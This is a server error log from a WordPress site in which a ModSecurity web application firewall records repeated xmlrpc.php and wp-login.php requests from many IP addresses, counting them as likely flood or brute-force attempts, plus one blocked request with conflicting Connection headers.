[Mon Nov 17 23:00:58.453994 2025] [:error] [pid 32753:tid 32780] [client 8.218.137.248:43004] [client 8.218.137.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.218.137.248, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRs4qk6YNqI5vkht922wEwAAA9g"]
[Mon Nov 17 23:09:25.144375 2025] [:error] [pid 40548:tid 40559] [client 81.88.52.32:38892] [client 81.88.52.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.88.52.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRs6pQM_PykfYnxh-j-DEgAAAQk"], referer: https://gigfragments.org
[Mon Nov 17 23:13:47.101637 2025] [:error] [pid 39449:tid 39470] [client 103.124.95.168:45256] [client 103.124.95.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.124.95.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRs7q6UCymTA3MDfzLOA4wAAABA"], referer: https://gigfragments.org
[Mon Nov 17 23:18:20.282723 2025] [:error] [pid 39537:tid 39557] [client 8.133.253.244:34806] [client 8.133.253.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.133.253.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRs8vIZRrh1pcrdcLB_WVwAAANE"], referer: https://gigfragments.org
[Mon Nov 17 23:27:24.063987 2025] [:error] [pid 39449:tid 39467] [client 162.241.22.11:24908] [client 162.241.22.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.22.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRs-3KUCymTA3MDfzLODiQAAAA0"], referer: https://gigfragments.org
[Mon Nov 17 23:36:33.447740 2025] [:error] [pid 39451:tid 39525] [client 36.50.27.89:57002] [client 36.50.27.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.50.27.89, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtBAefgkqXTS0SO3fA7VAAAAJE"], referer: https://gigfragments.org
[Mon Nov 17 23:53:26.350632 2025] [:error] [pid 15888:tid 15912] [client 66.29.141.50:47760] [client 66.29.141.50] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.141.50, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtE9gjAdDTBm4W3qW1SowAAAdU"], referer: https://gigfragments.org
[Tue Nov 18 00:01:50.898158 2025] [:error] [pid 32753:tid 32778] [client 123.31.12.39:63101] [client 123.31.12.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.31.12.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtG7k6YNqI5vkht922_aAAAA9Y"], referer: https://gigfragments.org
[Tue Nov 18 00:06:30.268470 2025] [:error] [pid 32753:tid 32766] [client 103.74.118.39:52410] [client 103.74.118.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.74.118.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtIBk6YNqI5vkht923AnwAAA8o"], referer: https://gigfragments.org
[Tue Nov 18 00:11:43.764548 2025] [:error] [pid 31419:tid 31441] [client 196.245.184.33:52054] [client 196.245.184.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.245.184.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRtJPwHQ5Sbp7elmDZjBfgAAApQ"]
[Tue Nov 18 00:11:47.682886 2025] [:error] [pid 30801:tid 30812] [client 196.245.184.33:34455] [client 196.245.184.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.245.184.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRtJQzbGAU49DhMTBD4Q4wAAAkk"]
[Tue Nov 18 00:11:50.980037 2025] [:error] [pid 32753:tid 32760] [client 196.245.184.33:57410] [client 196.245.184.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.245.184.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRtJRk6YNqI5vkht923ChgAAA8Q"], referer: https://gigfragments.org/wp-login.php
[Tue Nov 18 00:19:19.647349 2025] [:error] [pid 40553:tid 40576] [client 113.219.218.197:53903] [client 113.219.218.197] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRtLB9uLE1BqoX0RcsLTkwAAAAc"]
[Tue Nov 18 00:19:55.591598 2025] [:error] [pid 40561:tid 40612] [client 165.22.223.164:44394] [client 165.22.223.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.223.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtLK5dU597fIdQPRD-rZQAAANA"], referer: https://gigfragments.org
[Tue Nov 18 00:22:42.960999 2025] [:error] [pid 40793:tid 40850] [client 8.138.211.103:57936] [client 8.138.211.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.138.211.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRtL0gzccxeNeH-NUVgUAgAAAEA"]
[Tue Nov 18 00:23:07.607170 2025] [:error] [pid 40561:tid 40608] [client 8.138.211.103:40216] [client 8.138.211.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 8.138.211.103, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRtL65dU597fIdQPRD-sdgAAAMw"], referer: https://gigfragments.org/wp-login.php
[Tue Nov 18 00:25:02.952754 2025] [:error] [pid 40793:tid 40863] [client 92.205.232.136:49778] [client 92.205.232.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.232.136, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtMXgzccxeNeH-NUVgVSAAAAE0"]
[Tue Nov 18 00:42:46.028598 2025] [:error] [pid 40561:tid 40603] [client 164.92.134.102:38334] [client 164.92.134.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.92.134.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRtQhpdU597fIdQPRD-xxgAAAMc"]
[Tue Nov 18 00:51:38.457425 2025] [:error] [pid 40562:tid 40625] [client 35.242.252.164:47260] [client 35.242.252.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.242.252.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtSmh18kaCmPuHE4a8BigAAAUI"], referer: https://gigfragments.org
[Tue Nov 18 00:55:56.601388 2025] [:error] [pid 39189:tid 39198] [client 8.133.253.244:57828] [client 8.133.253.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.133.253.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtTnJJJLi753QwyqGzLWwAAAIU"], referer: https://gigfragments.org
[Tue Nov 18 01:07:30.394605 2025] [:error] [pid 40561:tid 40600] [client 92.114.50.2:35566] [client 92.114.50.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.114.50.2, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtWUpdU597fIdQPRD-6IAAAAMQ"], referer: https://gigfragments.org
[Tue Nov 18 01:19:54.222898 2025] [:error] [pid 40793:tid 40872] [client 192.144.234.15:36044] [client 192.144.234.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.144.234.15, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtZOgzccxeNeH-NUVgqOQAAAFY"], referer: https://gigfragments.org
[Tue Nov 18 01:28:20.667818 2025] [:error] [pid 40561:tid 40598] [client 103.124.95.168:41238] [client 103.124.95.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.124.95.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtbNJdU597fIdQPRD_AugAAAMI"], referer: https://gigfragments.org
[Tue Nov 18 01:32:12.798148 2025] [:error] [pid 40553:tid 40584] [client 206.189.149.69:48908] [client 206.189.149.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.189.149.69, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtcHNuLE1BqoX0RcsLpuwAAAA8"], referer: https://gigfragments.org
[Tue Nov 18 01:36:06.151673 2025] [:error] [pid 39189:tid 39215] [client 188.166.62.194:49596] [client 188.166.62.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.62.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtdBpJJLi753QwyqGzfjgAAAJY"], referer: https://gigfragments.org
[Tue Nov 18 01:44:12.269982 2025] [:error] [pid 40553:tid 40593] [client 82.156.9.158:38076] [client 82.156.9.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.156.9.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRte7NuLE1BqoX0RcsLuEAAAABg"], referer: https://gigfragments.org
[Tue Nov 18 01:47:48.552872 2025] [:error] [pid 40562:tid 40635] [client 128.199.23.132:55284] [client 128.199.23.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.23.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtfxB18kaCmPuHE4a8WdAAAAUw"], referer: https://gigfragments.org
[Tue Nov 18 01:59:02.013540 2025] [:error] [pid 40553:tid 40579] [client 167.172.41.47:32866] [client 167.172.41.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.41.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtiZtuLE1BqoX0RcsL0ggAAAAo"], referer: https://gigfragments.org
[Tue Nov 18 02:10:50.411671 2025] [:error] [pid 40793:tid 40852] [client 89.235.79.29:58100] [client 89.235.79.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.235.79.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtlKgzccxeNeH-NUVg_cAAAAEI"], referer: https://gigfragments.org
[Tue Nov 18 02:19:10.827657 2025] [:error] [pid 40561:tid 40607] [client 42.96.17.195:40032] [client 42.96.17.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.96.17.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtnHpdU597fIdQPRD_S6QAAAMs"], referer: https://gigfragments.org
[Tue Nov 18 02:27:03.571536 2025] [:error] [pid 40561:tid 40596] [client 75.119.208.144:37400] [client 75.119.208.144] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 75.119.208.144, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRto95dU597fIdQPRD_VYwAAAMA"], referer: https://gigfragments.org
[Tue Nov 18 02:34:21.588722 2025] [:error] [pid 40793:tid 40862] [client 103.197.58.201:48312] [client 103.197.58.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.197.58.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtqrQzccxeNeH-NUVhHewAAAEw"]
[Tue Nov 18 02:34:50.920947 2025] [:error] [pid 40553:tid 40585] [client 103.42.58.99:48270] [client 103.42.58.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.42.58.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtqytuLE1BqoX0RcsL_AQAAABA"], referer: https://gigfragments.org
[Tue Nov 18 02:42:27.951747 2025] [:error] [pid 40562:tid 40629] [client 121.43.150.118:50106] [client 121.43.150.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.43.150.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtskx18kaCmPuHE4a8oBgAAAUY"], referer: https://gigfragments.org
[Tue Nov 18 02:46:13.582085 2025] [:error] [pid 24928:tid 24953] [client 50.62.183.174:37056] [client 50.62.183.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.62.183.174, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRttdee2a38O8HjCzurrjwAAApc"], referer: https://gigfragments.org
[Tue Nov 18 02:49:49.873474 2025] [:error] [pid 24777:tid 24784] [client 172.188.216.109:45284] [client 172.188.216.109] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.188.216.109, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtuTfYMFHMtkgWmmlKWwwAAAQU"], referer: https://gigfragments.org
[Tue Nov 18 02:53:32.717190 2025] [:error] [pid 24870:tid 24888] [client 20.204.164.126:49402] [client 20.204.164.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.204.164.126, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtvLEJikHM3JIuypXrTOQAAAhA"], referer: https://gigfragments.org
[Tue Nov 18 03:00:45.101143 2025] [:error] [pid 24840:tid 24853] [client 103.110.84.40:50580] [client 103.110.84.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtw3ZRvn8wwYMxA_KWfogAAAcs"], referer: https://gigfragments.org
[Tue Nov 18 03:08:20.731451 2025] [:error] [pid 24870:tid 24873] [client 116.193.190.94:37892] [client 116.193.190.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.193.190.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtypEJikHM3JIuypXrVSgAAAgE"], referer: https://gigfragments.org
[Tue Nov 18 03:12:11.332213 2025] [:error] [pid 25054:tid 25061] [client 13.93.123.99:57596] [client 13.93.123.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.93.123.99, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRtzi7kemTDclsD2J9jftQAAA4Q"], referer: https://gigfragments.org
[Tue Nov 18 03:16:01.213282 2025] [:error] [pid 25054:tid 25081] [client 152.136.30.16:41322] [client 152.136.30.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.136.30.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRt0cbkemTDclsD2J9jgcgAAA5g"], referer: https://gigfragments.org
[Tue Nov 18 03:19:55.485180 2025] [:error] [pid 24993:tid 25019] [client 103.153.42.102:43560] [client 103.153.42.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.153.42.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRt1W9tVbCOW5QnBx1SESgAAAxg"], referer: https://gigfragments.org
[Tue Nov 18 03:27:30.990132 2025] [:error] [pid 39637:tid 39697] [client 162.241.224.155:37896] [client 162.241.224.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.224.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRt3IqVmhXKozkT7oyMWlwAAAFM"], referer: https://gigfragments.org
[Tue Nov 18 03:31:53.083461 2025] [:error] [pid 11970:tid 12043] [client 50.87.172.115:21786] [client 50.87.172.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.87.172.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRt4KXHLRG0HuH4aZ9Vs_AAAAIo"], referer: https://gigfragments.org
[Tue Nov 18 03:48:34.993819 2025] [:error] [pid 16434:tid 16514] [client 103.214.6.202:39688] [client 103.214.6.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.214.6.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRt8Eu59VW7UV0FYXhWEGQAAAI0"]
[Tue Nov 18 03:50:19.578498 2025] [:error] [pid 16432:tid 16464] [client 192.254.226.173:47796] [client 192.254.226.173] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 192.254.226.173, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRt8e5Ax07dIXT5GmXBAkQAAABI"], referer: https://gigfragments.org
[Tue Nov 18 04:01:05.768625 2025] [:error] [pid 61391:tid 61414] [client 139.59.66.202:45186] [client 139.59.66.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.66.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRt_AYwXIKmhlnkP3-c8kwAAAA4"], referer: https://gigfragments.org
[Tue Nov 18 04:08:55.389741 2025] [:error] [pid 61392:tid 61442] [client 34.82.213.123:41412] [client 34.82.213.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.82.213.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRuA13Smvb496zZxueKsQQAAAE0"], referer: https://gigfragments.org
[Tue Nov 18 04:17:08.369599 2025] [:error] [pid 61393:tid 61459] [client 68.72.143.114:58868] [client 68.72.143.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.72.143.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRuCxGH9XjlbVPv9gQUABgAAAIM"], referer: https://gigfragments.org
[Tue Nov 18 04:21:01.193191 2025] [:error] [pid 61482:tid 61493] [client 51.255.71.164:57729] [client 51.255.71.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.255.71.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRuDrftNHsWZClVWav4rQwAAAMY"], referer: https://gigfragments.org
[Tue Nov 18 04:29:11.434254 2025] [:error] [pid 29195:tid 29216] [client 165.227.13.11:36664] [client 165.227.13.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.13.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRuFlxMeonxy_4yeOTUVZAAAARM"], referer: https://gigfragments.org
[Tue Nov 18 04:31:39.933513 2025] [:error] [pid 61392:tid 61436] [client 66.175.235.134:57064] [client 66.175.235.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 66.175.235.134, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRuGK3Smvb496zZxueKy5AAAAEc"]
[Tue Nov 18 04:33:22.333307 2025] [:error] [pid 61391:tid 61411] [client 185.153.49.40:50898] [client 185.153.49.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.153.49.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRuGkowXIKmhlnkP3-dF5QAAAAs"], referer: https://gigfragments.org
[Tue Nov 18 04:37:15.951333 2025] [:error] [pid 61393:tid 61459] [client 103.82.36.71:33452] [client 103.82.36.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.82.36.71, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRuHe2H9XjlbVPv9gQUGCAAAAIM"], referer: https://gigfragments.org
[Tue Nov 18 05:26:40.169680 2025] [:error] [pid 42804:tid 42822] [client 212.56.53.189:43913] [client 212.56.53.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.56.53.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRuTEPpXARlE6tIuBnlB8gAAAVA"], referer: https://gigfragments.org/contact/
